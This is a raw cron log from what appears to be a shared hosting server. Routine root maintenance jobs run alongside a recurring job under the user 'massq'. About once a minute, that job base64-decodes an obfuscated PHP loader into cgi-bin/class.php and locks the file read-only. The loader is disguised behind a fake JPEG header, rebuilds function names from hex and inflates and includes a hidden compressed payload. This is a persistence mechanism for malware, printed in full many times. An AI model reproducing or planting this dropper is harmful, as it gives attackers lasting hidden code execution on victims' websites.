Nov 11 04:14:01 server CROND[2245]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:15:01 server CROND[3171]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 04:15:01 server CROND[3173]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 04:15:01 server CROND[3175]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 11 04:15:01 server CROND[3174]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:16:01 server CROND[4023]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:17:01 server CROND[4827]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:18:01 server CROND[5644]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:19:01 server CROND[6477]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:20:01 server CROND[7388]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 04:20:01 server CROND[7389]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 04:20:01 server CROND[7394]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 04:20:01 server CROND[7396]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:20:01 server CROND[7395]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 04:21:01 server CROND[8271]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:22:01 server CROND[9327]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:23:01 server CROND[10084]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:24:01 server CROND[10895]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:25:01 server CROND[11854]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 04:25:01 server CROND[11860]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 11 04:25:01 server CROND[11861]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 04:25:01 server CROND[11863]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:26:01 server CROND[12728]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:27:01 server CROND[13707]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
